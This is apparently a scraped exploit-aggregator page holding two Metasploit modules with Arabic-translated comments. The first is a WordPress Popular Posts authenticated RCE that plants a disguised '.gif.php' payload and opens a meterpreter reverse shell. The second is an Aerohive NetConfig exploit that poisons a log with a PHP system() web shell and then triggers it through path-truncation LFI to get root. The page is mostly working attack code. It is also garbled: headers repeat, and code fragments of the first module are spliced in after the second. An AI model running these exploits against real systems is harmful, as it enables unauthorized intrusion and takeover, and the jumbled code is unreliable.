nate158g-m-w-n-l-p-d-a-o-e — ### تتطلب هذه الوحدة Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال من Metasploit أن يكون لديه اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمولة على المنفذ 80 أو 443 أو 8080. يجب أيضاً ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضاً لطلب HEAD للحمولة، قبل تلقي طلب GET. يستغل هذا الاستغلال التحقق غير السليم من المدخلات المُوثَّق في إضافة ووردبريس Popular Posts <= 5.3.2. سلسلة الاستغلال معقدة إلى حد ما. مطلوب المصادقة ومكتبة 'gd' للPHP على الخادم. ثم يتم إعادة تكوين إضافة Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة (widget). يتم إنشاء منشور، ثم تُرسل طلبات إلى المنشور لجعله أكثر شيوعاً من المنشور السابق رقم 1 بمقدار 5. بمجرد أن يصل المنشور إلى المراكز الخمسة الأولى، وبعد تحديث ذاكرة التخزين المؤقت للخادم لمدة 60 ثانية (ننتظر 90)، يتم تحميل قطعة الصفحة الرئيسية مما يؤدي إلى قيام الإضافة بتنزيل الحمولة من خادمنا. تحتوي حمولتنا على رأس 'GIF'، و امتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
### تتطلب هذه الوحدة Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال من Metasploit أن يكون لديه اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمولة على المنفذ 80 أو 443 أو 8080. يجب أيضاً ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضاً لطلب HEAD للحمولة، قبل تلقي طلب GET. يستغل هذا الاستغلال التحقق غير السليم من المدخلات المُوثَّق في إضافة ووردبريس Popular Posts <= 5.3.2. سلسلة الاستغلال معقدة إلى حد ما. مطلوب المصادقة ومكتبة 'gd' للPHP على الخادم. ثم يتم إعادة تكوين إضافة Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة (widget). يتم إنشاء منشور، ثم تُرسل طلبات إلى المنشور لجعله أكثر شيوعاً من المنشور السابق رقم 1 بمقدار 5. بمجرد أن يصل المنشور إلى المراكز الخمسة الأولى، وبعد تحديث ذاكرة التخزين المؤقت للخادم لمدة 60 ثانية (ننتظر 90)، يتم تحميل قطعة الصفحة الرئيسية مما يؤدي إلى قيام الإضافة بتنزيل الحمولة من خادمنا. تحتوي حمولتنا على رأس 'GIF'، و امتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
nate158g-m-w-n-l-p-d-a-o-e### هذه الوحدة تتطلب Metasploit: https://metasploit.com/download# المصدر الحالي: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال أن يكون لدى Metasploit اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمل على المنفذ 80 أو 443 أو 8080. يجب ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضًا لطلب HEAD للحمل، قبل تلقي طلب GET. يستغل هذا الاستغلال تحققًا غير صحيح من الإدخال في إصدارات المكون الإضافي Popular Posts <= 5.3.2 لووردبريس. سلسلة الاستغلال معقدة نسبيًا. المصادقة مطلوبة و 'gd' الخاص بـ PHP مطلوب على الخادم. ثم يتم إعادة تكوين مكون Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة. يتم إنشاء منشور، ثم يتم إرسال طلبات إلى المنشور لجعله أكثر شيوعًا من المنشور السابق #1 بمقدار 5. بمجرد وصول المنشور إلى أفضل 5، وبعد 60 ثانية (ننتظر 90) لتحديث ذاكرة التخزين المؤقت للخادم، يتم تحميل القطعة في الصفحة الرئيسية مما يؤدي إلى تنزيل المكون الإضافي للحمل من خادمنا. يحتوي حملنا على رأس 'GIF'، وامتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # وحدة msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # التحليل الأصلي ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 دقيقة، قد يقوم زوار آخرون للموقع بتشغيله }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'اسم مستخدم الحساب', 'admin']), OptString.new('PASSWORD', [true, 'كلمة مرور الحساب', 'admin']), OptString.new('TARGETURI', [true, 'المسار الأساسي لخادم ووردبريس', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'اسم النطاق المؤهل بالكامل لخادم metasploit. يجب ألا يحل إلى عنوان محجوز (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'المنفذ المحلي للاستماع.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('لم يتم اكتشاف ووردبريس.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts ليس إصدارًا ضعيفًا') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # قم بتكرار هذه الحلقة 5 مرات في حالة وجود تأخير زمني في كتابة الملف بواسطة الخادم (1..5).each do |i| print_status("تشغيل الصدفة في: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} خلال 10 ثوانٍ. المحاولة #{i} من 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('فشل في العثور على الحمل، ربما لم يتم رفعه بشكل صحيح.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('الاستجابة لطلب HEAD الأولي (اجتاز الفحص 1)') # وفقًا لـ https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests يجب أن يكون لدينا Content-Length صالح # لكن يبدو أن هذا يُحسب ديناميكيًا، حيث يتم استبداله بـ 0 في هذا الرد. تركت هنا كملاحظات. # أيضًا لم أرغب في إرسال الحمل الحقيقي في النص لجعل الحجم صحيحًا لأن ذلك يزيد من فرصة اكتشافنا return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('الاستجابة لطلب GET (اجتاز الفحص 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # لسبب غريب نحتاج إلى إغلاق الاتصال يدويًا حتى يتمكن PHP/WP من إنهاء وظائفه Rex.sleep(2) # انتظر حتى ينتهي WP من جميع الفحوصات التي يحتاجها trigger_payload(on_disk_payload_name) end print_status("تم استلام طلب #{request.method} غير متوقع") end def check_gd_installed(cookie) vprint_status('التحقق من تثبيت gd') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('استرداد رمز wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('تحديث إعدادات المنشورات الشائعة للصور') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'تعذر حفظ/تغيير الإعدادات') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('مسح ذاكرة التخزين المؤقت للصور') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # يجب أن يؤدي هذا إلى تمكين ajax_nonce، وسيُعيدنا إلى الصفحة المرجعية أيضًا حتى نتمكن من الحصول عليها. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('إنشاء منشور جديد') # الحصول على معرف المنشور والرموز غيرية res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "(?<wp_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('حقل ajax nonce مفقود، محاولة إعادة تمكينه. إذا فشل ذلك، قد تحتاج إلى تغيير الواجهة لتمكين هذا. راجع https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. أو تحقق (أثناء كتابة منشور) من Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"])/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("تم إنشاء المنشور: #{post_id}") end fail_with(Failure::UnexpectedReply, 'تعذر استرداد الرموز غيرية و/أو معرف المنشور الجديد') unless ajax_nonce && wp_nonce && post_id # نشر المنشور الجديد vprint_status("كتابة المحتوى إلى المنشور: #{post_id}") # هذا يختلف كثيرًا عن PoC في EDB، كنت أحصل على 200 إلى الصفحة الرئيسية باستخدام مثالهم، لذا هذا مبني على ما يرسله واجهة المستخدم res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'فشل نشر المنشور') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("إضافة بيانات وصفية ضارة لإعادة التوجيه إلى #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'فشل تحديث البيانات الوصفية') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # إعادة التوجيه حسب الحاجة res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 || res.code == 301 print_status("إرسال #{post_count} مشاهدة إلى #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # هذه القيمة>/<وأي شيء بعدها> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'يجب تعيين SRVHOST كعنوان IP (0.0.0.0 غير صالح) لنجاح الاستغلال') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('تسجيل دخول غير صالح، تحقق من بيانات الاعتماد') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("اسم ملف الحمل: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd غير مثبت على الخادم، غير قابل للاستغلال') unless check_gd_installed(cookie) post_count = get_top_posts # لم نعد بحاجة لتمرير الكوكي لأنها محفوظة الآن في عميل http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('بدء تشغيل خادم الويب للتعامل مع طلب صورة الحمل') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('انتظار 90 ثانية لتحديث ذاكرة التخزين المؤقت من الخادم') Rex.sleep(90) print_status('محاولة فرض تحميل الصدفة بزيارة الصفحة الرئيسية وتحميل القطعة') res = get_widget print_good('لقد وصلنا إلى القمة!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "تم العثور على #{datastore['SRVHOSTNAME']} في محتوى الصفحة. ربما لم يتم نسخ الحمل إلى الخادم.") # end # في هذه المرحلة، نعتمد على خادم الويب الخاص بنا للحصول على الطلبات لتنفيذ الباقي endend### هذه الوحدة تتطلب Metasploit: المصدر الحالي: MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ تستغل هذه الوحدة ثغرات LFI وتسمم السجل (CVE-2020-16152) في Aerohive NetConfig، الإصدار 10.0r8a build-242466 والأقدم لتحقيق تنفيذ تعليمات برمجية عن بعد غير مصادق عليه كمستخدم الجذر. NetConfig هي الواجهة الإدارية لـ Aerohive/Extreme Networks HiveOS. الإصدارات الضعيفة تسمح بـ LFI لأنها تعتمد على إصدار PHP 5 الذي يعاني من هجمات اقتطاع السلاسل. تستغل هذه الوحدة هذه المشكلة جنبًا إلى جنب مع تسمم السجل للحصول على RCE كجذر. عند نجاح الاستغلال، سيتوقف تطبيق Aerohive NetConfig عن العمل طالما بقيت الصدفة مفتوحة. إغلاق الجلسة سيعيد التطبيق إلى العمل. توفر الوحدة خيار تنظيف تلقائي لتنظيف السجل. ومع ذلك، فإن هذا الخيار معطل افتراضيًا لأن أي تعديلات على سجل /tmp/messages، حتى باستخدام sed، قد تجعل الهدف غير قابل للاستغلال (مؤقتًا). يمكن أن تستمر هذه الحالة لأكثر من ساعة. تم اختبار هذه الوحدة بنجاح ضد Aerohive NetConfig الإصدارات 8.2r4 و 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - الاكتشاف و PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # لا يزال مصنفًا كـ RESERVED ['URL', ''] # التحليل وكود PoC ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # قد يكون هذا هو الحمل الوحيد الذي يعمل لهذا الهدف' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'المسار الأساسي لـ Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'تنظيف سجل /tmp/messages تلقائيًا بعد إنشاء صدفة. تحذير! قد يجعل الهدف غير قابل للاستغلال', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('فشل الاتصال.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('الهدف ليس تطبيق Aerohive NetConfig.') end version = res.body.scan(/action="login.php5?version=(.?)"/)&.flatten&.first unless version return CheckCode::Detected('تعذر تحديد إصدار Aerohive NetConfig.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("الهدف هو Aerohive NetConfig الإصدار #{version}") else print_warning('تجدر الإشارة إلى أنه من غير الواضح ما إذا/متى تم تصحيح هذه المشكلة، لذا قد تكون الإصدارات بعد 10.0r8a لا تزال ضعيفة.') return CheckCode::Safe("الهدف هو Aerohive NetConfig الإصدار #{version}") end rescue StandardError => e return CheckCode::Unknown("فشل في الحصول على إصدار Aerohive NetConfig صالح: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # تسميم /tmp/messages print_status('محاولة تسميم السجل في /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'فشل الاتصال أثناء محاولة تسميم السجل في /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'تم استلام رد غير متوقع أثناء محاولة تسميم السجل في /tmp/messages') end print_status('استجاب الخادم كما هو متوقع. الاستمرار...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('محاولة تنظيف ملف السجل في /tmp/messages...') print_warning('يرجى ملاحظة أن هذا سيجعل الهدف غير قابل للاستغلال (مؤقتًا). يمكن أن تستمر هذه الحالة لأكثر من ساعة.') begin # نحتاج إلى إزالة السطر الذي يحتوي على استدعاء PHP system من /tmp/messages # الأحرف الخاصة في استدعاء PHP system تجعل من المستحيل تقريبًا استخدام sed لاستبدال استدعاء PHP باسم مستخدم عادي. # بدلاً من ذلك، دعنا نتجنب الأحرف الخاصة من خلال ربط بعض أوامر grep للتأكد من أن لدينا السطر الصحيح ثم إزالة هذا السطر بالكامل # تأثير استخدام sed لتحرير الملف أثناء الطيران واستخدام grep لإنشاء ملف جديد واستبدال /tmp/messages به هو نفسه: # في كلتا الحالتين، من المحتمل أن يتوقف التطبيق عن الكتابة في /tmp/messages لفترة من الوقت (قد تتجاوز الساعة)، مما يجعل الهدف غير قابل للاستغلال خلال تلك الفترة. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; " "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # انتظر التنظيف Rex.sleep 5 # تحقق من وجود استدعاء PHP system في /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # استخدام =~ هنا أعطى نتائج غير متوقعة، لذلك يتم استخدام include? بدلاً منه unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # تحقق من وجود استدعاء PHP system في /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # استخدام =~ هنا أعطى نتائج غير متوقعة، لذلك يتم استخدام include? بدلاً منه unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("خطأ أثناء التنظيف: #{e.message}") ensure super end unless log_cleaned print_warning("تعذر استبدال استدعاء PHP system '#{@poison_cmd}' في /tmp/messages") end end if log_cleaned print_good('تم تنظيف السجل بنجاح بحذف السطر الذي يحتوي على استدعاء PHP system من /tmp/messages.') else print_warning("سيتطلب مسح دليل تسمم السجل تحرير/إزالة السطر في /tmp/messages الذي يحتوي على أمر التسمم يدويًا:\n\t#{@poison_cmd}") print_warning('يرجى ملاحظة أن أي تعديلات على /tmp/messages، حتى باستخدام sed، ستجعل الهدف غير قابل للاستغلال (مؤقتًا). يمكن أن تستمر هذه الحالة لأكثر من ساعة.') print_warning('حذف /tmp/messages أو مسح الملف بالكامل قد يكسر التطبيق.') end end def execute_command(cmd, _opts = {}) print_status('محاولة تنفيذ الحمل') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # تشغيل LFI من خلال اقتطاع المسار @shell_cmd_name => cmd } }, 0) print_warning('في حالة نجاح الاستغلال، سيتوقف تطبيق Aerohive NetConfig عن العمل طالما بقيت الصدفة مفتوحة.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('تنفيذ الحمل') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # فقط أرسل، لا يهمنا الرد fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 res = send_request_cgi( # هذا الرابط يختلف عن PoC في EDB، وهو مصمم على غرار ما يفعله المتصفح 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 201 end fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res end def get_top_posts print_status('تحديد المنشور الذي لديه أكبر عدد من المشاهدات') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("أعلى مشاهدة: #{views}") views += 5 # اجعلنا المنشور الأكثر مشاهدة unless datastore['VISTS'].nil? print_status("تجاوز عدد المنشورات بسبب تعيين VISITS، من #{views} إلى #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # تحميل الصفحة الرئيسية للحصول على معرف القطعة. في بعض الأحيان يبدو أننا نصيب القطعة عندما يتم تحديثها ولا تستجيب # مما قد يؤدي إلى فشل الاستغلال، لذا في هذه الحالة نواصل المحاولة. (1..10).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # تحميل القطعة مباشرة (1..10).each do |